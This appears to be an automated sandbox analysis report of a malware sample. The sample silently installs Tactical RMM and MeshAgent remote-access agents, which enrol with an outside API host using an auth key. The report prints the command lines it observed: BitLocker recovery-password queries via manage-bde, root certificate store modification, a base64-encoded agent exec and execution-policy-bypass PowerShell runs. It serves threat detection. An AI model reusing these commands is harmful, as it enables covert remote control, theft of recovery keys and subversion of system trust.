9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 tacticalrmm.exe - System Location Discovery: System Language Discovery 1 TTPs 12 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tacticalagent-v2.11.0-windows-amd64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tacticalagent-v2.11.0-windows-amd64.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1136 PING.EXE 5916 cmd.exe - Inno Setup is an open-source installation builder for Windows applications. 3 IoCs
Inno Setup installer
resource yara_rule behavioral2/files/0x001b00000001c511-2.dat innosetup behavioral2/memory/2036-3-0x0000000000D30000-0x0000000000E12000-memory.dmp innosetup behavioral2/memory/2036-22-0x0000000000D30000-0x0000000000E12000-memory.dmp innosetup - Kills process with taskkill 1 IoCs
pid Process 4848 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs tacticalrmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs tacticalrmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe - Modifies system certificate store 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 tacticalrmm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0 tacticalrmm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0\Blob = 0f00000001000000300000000b043572c899dec43efd590cfce610cf443a6315925ebfe589f7506907e44824608489581c7ca0e041458514cf157614090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c06200000001000000200000004ff460d54b9c86dabfbcfc5712e0400d2bed3fbc4d4fbdaa86e06adcd2a9ad7a0b00000001000000180000005300650063007400690067006f00200045004300430000001400000001000000140000003ae10986d4cf19c29676744976dce035c663639a1d0000000100000010000000280cf6042c30a2646644ba7286a3aa97030000000100000014000000d1cbca5db2d52a7f693b674de5f05a1d0c957df02000000001000000930200003082028f30820215a00302010202105c8b99c55a94c5d27156decd8980cc26300a06082a8648ce3d040303308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f726974793076301006072a8648ce3d020106052b81040022036200041aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221b3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979a3423040301d0603551d0e041604143ae10986d4cf19c29676744976dce035c663639a300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300a06082a8648ce3d040303036800306502303667a11608dce49700411d4ebee16301cf3baa421164a09d94390211795c7b1dfa64b9ee1642b3bf8ac209c4ece4b14d023100e92a61478c524a4b4e1870f6d644d66ef583ba6d58bd24d95648eaefc4a24681886a3a46d1a99b4dc961dad15d576a18 tacticalrmm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0\Blob = 19000000010000001000000076935b5c5a037216daaf8aac76df42c1030000000100000014000000d1cbca5db2d52a7f693b674de5f05a1d0c957df01d0000000100000010000000280cf6042c30a2646644ba7286a3aa971400000001000000140000003ae10986d4cf19c29676744976dce035c663639a0b00000001000000180000005300650063007400690067006f00200045004300430000006200000001000000200000004ff460d54b9c86dabfbcfc5712e0400d2bed3fbc4d4fbdaa86e06adcd2a9ad7a53000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000300000000b043572c899dec43efd590cfce610cf443a6315925ebfe589f7506907e44824608489581c7ca0e041458514cf1576142000000001000000930200003082028f30820215a00302010202105c8b99c55a94c5d27156decd8980cc26300a06082a8648ce3d040303308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f726974793076301006072a8648ce3d020106052b81040022036200041aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221b3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979a3423040301d0603551d0e041604143ae10986d4cf19c29676744976dce035c663639a300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300a06082a8648ce3d040303036800306502303667a11608dce49700411d4ebee16301cf3baa421164a09d94390211795c7b1dfa64b9ee1642b3bf8ac209c4ece4b14d023100e92a61478c524a4b4e1870f6d644d66ef583ba6d58bd24d95648eaefc4a24681886a3a46d1a99b4dc961dad15d576a18 tacticalrmm.exe - Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
pid Process 1136 PING.EXE - Suspicious behavior: EnumeratesProcesses 27 IoCs
pid Process 5784 tacticalrmm.exe 5168 tacticalrmm.exe 5812 powershell.exe 5812 powershell.exe 5812 powershell.exe 5168 tacticalrmm.exe 5168 tacticalrmm.exe 3952 tacticalrmm.exe 5224 tacticalrmm.exe 3952 tacticalrmm.exe 3952 tacticalrmm.exe 3952 tacticalrmm.exe 3952 tacticalrmm.exe 5224 tacticalrmm.exe 5224 tacticalrmm.exe 3952 tacticalrmm.exe 3952 tacticalrmm.exe 3368 tacticalrmm.exe 5224 tacticalrmm.exe 5224 tacticalrmm.exe 1516 tacticalrmm.exe 1952 powershell.exe 1952 powershell.exe 4344 powershell.exe 4344 powershell.exe 4344 powershell.exe 1952 powershell.exe - Suspicious use of AdjustPrivilegeToken 12 IoCs
description pid Process Token: SeDebugPrivilege 4848 taskkill.exe Token: SeDebugPrivilege 5784 tacticalrmm.exe Token: SeDebugPrivilege 5168 tacticalrmm.exe Token: SeDebugPrivilege 5812 powershell.exe Token: SeDebugPrivilege 5168 tacticalrmm.exe Token: SeDebugPrivilege 3952 tacticalrmm.exe Token: SeDebugPrivilege 5224 tacticalrmm.exe Token: SeDebugPrivilege 3952 tacticalrmm.exe Token: SeDebugPrivilege 3368 tacticalrmm.exe Token: SeDebugPrivilege 1516 tacticalrmm.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeDebugPrivilege 4344 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2760 tacticalagent-v2.11.0-windows-amd64.tmp - Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 5084 wrote to memory of 2036 5084 2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe 88 PID 2036 wrote to memory of 2760 2036 tacticalagent-v2.11.0-windows-amd64.exe 89 PID 2760 wrote to memory of 5916 2760 tacticalagent-v2.11.0-windows-amd64.tmp 90 PID 5916 wrote to memory of 1136 5916 cmd.exe 92 PID 5916 wrote to memory of 3240 5916 cmd.exe 93 PID 3240 wrote to memory of 2964 3240 net.exe 94 PID 2760 wrote to memory of 1432 2760 tacticalagent-v2.11.0-windows-amd64.tmp 95 PID 1432 wrote to memory of 4848 1432 cmd.exe 97 PID 2760 wrote to memory of 3304 2760 tacticalagent-v2.11.0-windows-amd64.tmp 99 PID 3304 wrote to memory of 5784 3304 cmd.exe 101 PID 2760 wrote to memory of 6128 2760 tacticalagent-v2.11.0-windows-amd64.tmp 102 PID 6128 wrote to memory of 616 6128 cmd.exe 104 PID 616 wrote to memory of 1768 616 net.exe 105 PID 5084 wrote to memory of 5168 5084 2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe 106 PID 5168 wrote to memory of 3852 5168 tacticalrmm.exe 108 PID 5168 wrote to memory of 3192 5168 tacticalrmm.exe 113 PID 5732 wrote to memory of 5812 5732 MeshAgent.exe 114 PID 5732 wrote to memory of 4568 5732 MeshAgent.exe 117 PID 5732 wrote to memory of 5164 5732 MeshAgent.exe 120 PID 5164 wrote to memory of 4316 5164 cmd.exe 122 PID 5732 wrote to memory of 4604 5732 MeshAgent.exe 123 PID 4604 wrote to memory of 3676 4604 cmd.exe 125 PID 3952 wrote to memory of 3368 3952 tacticalrmm.exe 129 PID 5224 wrote to memory of 4816 5224 tacticalrmm.exe 130 PID 3952 wrote to memory of 3608 3952 tacticalrmm.exe 132 PID 5224 wrote to memory of 1516 5224 tacticalrmm.exe 133 PID 3952 wrote to memory of 4344 3952 tacticalrmm.exe 136 PID 5224 wrote to memory of 1952 5224 tacticalrmm.exe 137 PID 5224 wrote to memory of 3764 5224 tacticalrmm.exe 139
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exeC:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Users\Admin\AppData\Local\Temp\is-MSMJG.tmp\tacticalagent-v2.11.0-windows-amd64.tmp"C:\Users\Admin\AppData\Local\Temp\is-MSMJG.tmp\tacticalagent-v2.11.0-windows-amd64.tmp" /SL5="$C006C,4216799,861184,C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm4⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:5916 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 25⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1136
-
-
C:\Windows\SysWOW64\net.exenet stop tacticalrmm5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3240 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tacticalrmm6⤵
- System Location Discovery: System Language Discovery
PID:2964
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM tacticalrmm.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tacticalrmm.exe5⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4848
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c tacticalrmm.exe -m installsvc4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3304 -
C:\Program Files\TacticalAgent\tacticalrmm.exetacticalrmm.exe -m installsvc5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5784
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c net start tacticalrmm4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:6128 -
C:\Windows\SysWOW64\net.exenet start tacticalrmm5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:616 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start tacticalrmm6⤵
- System Location Discovery: System Language Discovery
PID:1768
-
-
-
-
-
-
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://mastiffsystemsapi.mytrmm.com --client-id 43 --site-id 51 --agent-type workstation --auth 54061b12a2467a48b4e2ea56c43f77b6207615bd015c58cb67366de489fe8a7b2⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5168 -
C:\Program Files\TacticalAgent\meshagent.exe"C:\Program Files\TacticalAgent\meshagent.exe" -fullinstall3⤵
- Sets service image path in registry
- Executes dropped EXE
PID:3852
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid3⤵
- Executes dropped EXE
PID:3192
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:6012
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:5732 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5812
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4568
-
-
C:\Windows\system32\cmd.exe/c manage-bde -protectors -get C: -Type recoverypassword2⤵
- Suspicious use of WriteProcessMemory
PID:5164 -
C:\Windows\system32\manage-bde.exemanage-bde -protectors -get C: -Type recoverypassword3⤵PID:4316
-
-
-
C:\Windows\system32\cmd.exe/c manage-bde -protectors -get F: -Type recoverypassword2⤵
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\system32\manage-bde.exemanage-bde -protectors -get F: -Type recoverypassword3⤵PID:3676
-
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3120
-
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m svc1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m checkrunner2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3368
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid2⤵
- Executes dropped EXE
PID:3608
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\3862383520.ps12⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4344 -
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342832998613409023⤵PID:1772
-
-
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342832998621064983⤵PID:4288
-
-
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342832998628373593⤵PID:3600
-
-
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342832998664042773⤵PID:3672
-
-
C:\ProgramData\chocolatey\choco.exe"C:\ProgramData\chocolatey\choco.exe" -v3⤵PID:5536
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\3103376356.ps12⤵
- Command and Scripting Interpreter: PowerShell
PID:5132
-
-
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m svc1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5224 -
C:\Program Files\TacticalAgent\python\py3.14.5_amd64\python.exe"C:\Program Files\TacticalAgent\python\py3.14.5_amd64\python.exe" C:\ProgramData\TacticalRMM\3812038887.py2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4816
-
-
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m checkrunner2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\1228386906.ps12⤵
- Badlisted process makes network request
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952 -
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342832999074509413⤵PID:3840
-
-
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342832999078685973⤵PID:4284
-
-
C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 1342832999083731113⤵PID:2728
-
-
C:\ProgramData\chocolatey\choco.exe"C:\ProgramData\chocolatey\choco.exe" -v3⤵PID:1232
-
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid2⤵
- Executes dropped EXE
PID:3764
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\1075140044.ps12⤵
- Command and Scripting Interpreter: PowerShell
PID:3172
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Defense Evasion
Modify Registry
2Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
